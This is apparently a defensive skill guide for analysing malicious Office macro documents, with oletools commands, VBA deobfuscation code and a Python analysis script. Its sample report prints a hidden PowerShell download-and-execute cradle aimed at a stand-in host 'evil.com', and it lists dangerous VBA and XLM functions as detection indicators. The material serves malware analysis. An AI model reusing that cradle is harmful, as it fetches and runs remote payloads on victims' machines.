npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
NIST CSF 2.0
MITRE D3FEND
When to Use
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
- Investigating phishing campaigns that deliver weaponized Office documents
- Extracting VBA macro code to identify the payload download URL and execution method
- Analyzing obfuscated VBA code to understand the full attack chain
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
Prerequisites
- Python 3.8+ with oletools installed (
pip install oletools) - oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
- LibreOffice for safe document rendering (does not execute VBA macros by default)
Workflow
Step 1: Initial Document Triage
Determine if the document contains macros or other active content:
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributesStep 2: Extract and Analyze VBA Code
Pull out the complete VBA macro source:
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docmKey VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)Step 3: Deobfuscate VBA Code
Remove obfuscation layers to reveal the payload:
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)Step 4: Analyze Excel 4.0 (XLM) Macros
Handle legacy Excel macros that bypass VBA detection:
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional executionStep 5: Check for Non-Macro Attack Vectors
Examine the document for DDE, remote templates, and embedded objects:
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"Step 6: Generate Analysis Report
Document the complete macro malware analysis:
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document patternKey Concepts
| Term | Definition |
|---|---|
| VBA Macro | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |
| Auto_Open | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |
| OLE (Object Linking and Embedding) | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |
| DDE (Dynamic Data Exchange) | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |
| Remote Template Injection | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |
| XLM Macros (Excel 4.0) | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |
| Protected View | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier |
Tools & Systems
- oletools (olevba): Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
- oledump.py: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
- XLMDeobfuscator: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
- ViperMonkey: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
- YARA: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
Common Scenarios
Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
Context: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
Approach:
- Run oleid to confirm VBA macros are present and identify auto-execution triggers
- Extract VBA code with olevba --decode --deobf for initial deobfuscation
- Identify the auto-execution entry point (Auto_Open or Document_Open)
- Trace the execution flow from the entry point through helper functions
- Deobfuscate string concatenation and Chr() encoding to reveal the download URL
- Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
- Extract all IOCs and create YARA rules for the specific obfuscation pattern
Pitfalls:
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
Output Format
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual BasicReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.9 KB
API Reference: Office Macro Malware Analysis Tools
olevba - VBA Macro Extraction (oletools)
CLI Syntax
olevba document.docm # Full analysis
olevba --decode --deobf document.docm # Decode + deobfuscate
olevba --code document.docm # Extract VBA source only
olevba --json document.docm # JSON output
olevba --reveal document.docm # Reveal hidden contentOutput Sections
| Section | Content |
|---|---|
AutoExec |
Auto-execution triggers (AutoOpen, Document_Open) |
Suspicious |
Dangerous functions (Shell, WScript, CreateObject) |
IOC |
Extracted indicators (URLs, IPs, file paths) |
Hex String |
Decoded hex-encoded strings |
Python API
from oletools.olevba import VBA_Parser
vba = VBA_Parser("document.docm")
if vba.detect_vba_macros():
for (fn, stream, vba_fn, code) in vba.extract_macros():
print(code)
for (kw_type, keyword, desc) in vba.analyze_macros():
print(f"{kw_type}: {keyword}")
vba.close()oleid - Document Capability Identification
CLI Syntax
oleid document.docmIndicators
| Indicator | Risk Values |
|---|---|
VBA Macros |
True/False |
XLM Macros |
True/False |
External Relationships |
True/False |
ObjectPool |
True/False |
Flash |
True/False |
oledump.py - OLE Stream Analysis
CLI Syntax
oledump.py document.docm # List streams
oledump.py -s 8 -v document.docm # Extract stream 8
oledump.py -p plugin_vba_dco document.docm # VBA decompile
oledump.py -p plugin_msg.py document.msg # MSG file parsingStream Markers
| Marker | Meaning |
|---|---|
M |
Contains VBA macros |
m |
Contains macro attributes |
O |
Contains OLE objects |
XLMDeobfuscator - Excel 4.0 Macros
CLI Syntax
xlmdeobfuscator -f document.xlsm
xlmdeobfuscator -f document.xlsm --output-format jsonDangerous XLM Functions
| Function | Purpose |
|---|---|
EXEC() |
Execute shell command |
CALL() |
Call DLL function |
REGISTER() |
Register DLL function |
URLDownloadToFileA |
Download file from URL |
VBA Auto-Execution Triggers
| Trigger | Application |
|---|---|
Auto_Open / AutoOpen |
Word |
Document_Open |
Word |
Workbook_Open |
Excel |
Auto_Close |
Word |
AutoExec |
Word |
VBA Suspicious Functions
| Function | Risk |
|---|---|
Shell() |
Command execution |
WScript.Shell |
Windows scripting |
CreateObject() |
COM object instantiation |
URLDownloadToFile |
File download |
MSXML2.XMLHTTP |
HTTP requests |
ADODB.Stream |
Binary file writing |
CallByName |
Indirect method invocation |
Environ() |
Environment variable access |
ViperMonkey - VBA Emulation
Syntax
vmonkey document.docm
vmonkey --iocs document.docm # Extract IOCs onlyScripts 1
agent.py8.6 KB
#!/usr/bin/env python3
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""
import re
import os
import sys
import hashlib
import json
import zipfile
try:
from oletools.olevba import VBA_Parser
from oletools import oleid
HAS_OLETOOLS = True
except ImportError:
HAS_OLETOOLS = False
def compute_hash(filepath):
"""Compute SHA-256 hash of a file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def triage_document(filepath):
"""Quick triage using oleid to identify document capabilities."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed: pip install oletools"}
oid = oleid.OleID(filepath)
indicators = oid.check()
results = {}
for indicator in indicators:
results[indicator.name] = {
"value": str(indicator.value),
"risk": indicator.risk,
"description": indicator.description,
}
return results
def extract_vba_macros(filepath):
"""Extract VBA macro code from an Office document."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
macros = []
if vba_parser.detect_vba_macros():
for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
macros.append({
"filename": filename,
"stream_path": stream_path,
"vba_filename": vba_filename,
"code": vba_code,
"code_length": len(vba_code),
})
vba_parser.close()
return macros
def analyze_vba_suspicious(filepath):
"""Analyze VBA macros for suspicious keywords and patterns."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
if vba_parser.detect_vba_macros():
results = vba_parser.analyze_macros()
for (kw_type, keyword, description) in results:
entry = {"type": kw_type, "keyword": keyword, "description": description}
if kw_type == "AutoExec":
analysis["auto_exec"].append(entry)
elif kw_type == "Suspicious":
analysis["suspicious"].append(entry)
elif kw_type == "IOC":
analysis["iocs"].append(entry)
elif kw_type == "Hex String":
analysis["hex_strings"].append(entry)
vba_parser.close()
return analysis
def deobfuscate_chr_calls(vba_code):
"""Resolve Chr() and ChrW() calls in VBA code."""
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except (ValueError, OverflowError):
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
return code
def deobfuscate_concatenation(vba_code):
"""Remove string concatenation: "abc" & "def" -> "abcdef"."""
return re.sub(r'"\s*&\s*"', '', vba_code)
def deobfuscate_strreverse(vba_code):
"""Resolve StrReverse() calls."""
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)
def deobfuscate_replace(vba_code):
"""Resolve Replace() function calls."""
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
resolve_replace, vba_code)
def full_deobfuscation(vba_code):
"""Apply all deobfuscation techniques to VBA code."""
code = deobfuscate_chr_calls(vba_code)
code = deobfuscate_concatenation(code)
code = deobfuscate_strreverse(code)
code = deobfuscate_replace(code)
return code
def extract_urls_from_code(code):
"""Extract URLs from deobfuscated VBA code."""
return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))
def check_dde(filepath):
"""Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
findings = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if name.endswith(".xml") or name.endswith(".rels"):
content = z.read(name).decode("utf-8", errors="ignore")
if "DDEAUTO" in content or "DDE " in content:
dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
findings.append({
"type": "DDE",
"file": name,
"commands": dde_cmds,
})
if "attachedTemplate" in content or "Target=" in content:
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
findings.append({
"type": "Remote Template",
"file": name,
"url": url,
})
except (zipfile.BadZipFile, KeyError):
pass
return findings
def check_external_relationships(filepath):
"""Check OOXML relationships for external references."""
externals = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if ".rels" in name:
content = z.read(name).decode("utf-8", errors="ignore")
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
externals.append({"file": name, "url": url})
except (zipfile.BadZipFile, KeyError):
pass
return externals
def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
"""Generate a comprehensive macro malware analysis report."""
report = {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
"triage": triage,
"macro_count": len(macros),
"auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
"suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
"iocs": [e["keyword"] for e in analysis.get("iocs", [])],
"extracted_urls": deobfuscated_urls,
"dde_findings": dde_findings,
}
return report
if __name__ == "__main__":
print("=" * 60)
print("Office Macro Malware Analysis Agent")
print("oletools-based VBA extraction and deobfuscation")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
print(f"[*] SHA-256: {compute_hash(target)}")
print("\n--- Document Triage (oleid) ---")
triage = triage_document(target)
for name, info in triage.items():
risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
print(f" {name}: {info['value']}{risk_tag}")
print("\n--- VBA Macro Extraction ---")
macros = extract_vba_macros(target)
print(f" Macro streams found: {len(macros)}")
for m in macros:
print(f" - {m['vba_filename']} ({m['code_length']} chars)")
print("\n--- Suspicious Analysis ---")
analysis = analyze_vba_suspicious(target)
for trigger in analysis["auto_exec"]:
print(f" [!] Auto-exec: {trigger['keyword']}")
for sus in analysis["suspicious"]:
print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}")
for ioc in analysis["iocs"]:
print(f" [IOC] {ioc['keyword']}")
print("\n--- Deobfuscation ---")
all_urls = []
for m in macros:
deobfuscated = full_deobfuscation(m["code"])
urls = extract_urls_from_code(deobfuscated)
all_urls.extend(urls)
for url in set(all_urls):
print(f" URL: {url}")
print("\n--- DDE / Remote Template Check ---")
dde = check_dde(target)
for d in dde:
print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}")
report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
else:
print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
print("[*] Provide an Office document for macro analysis.")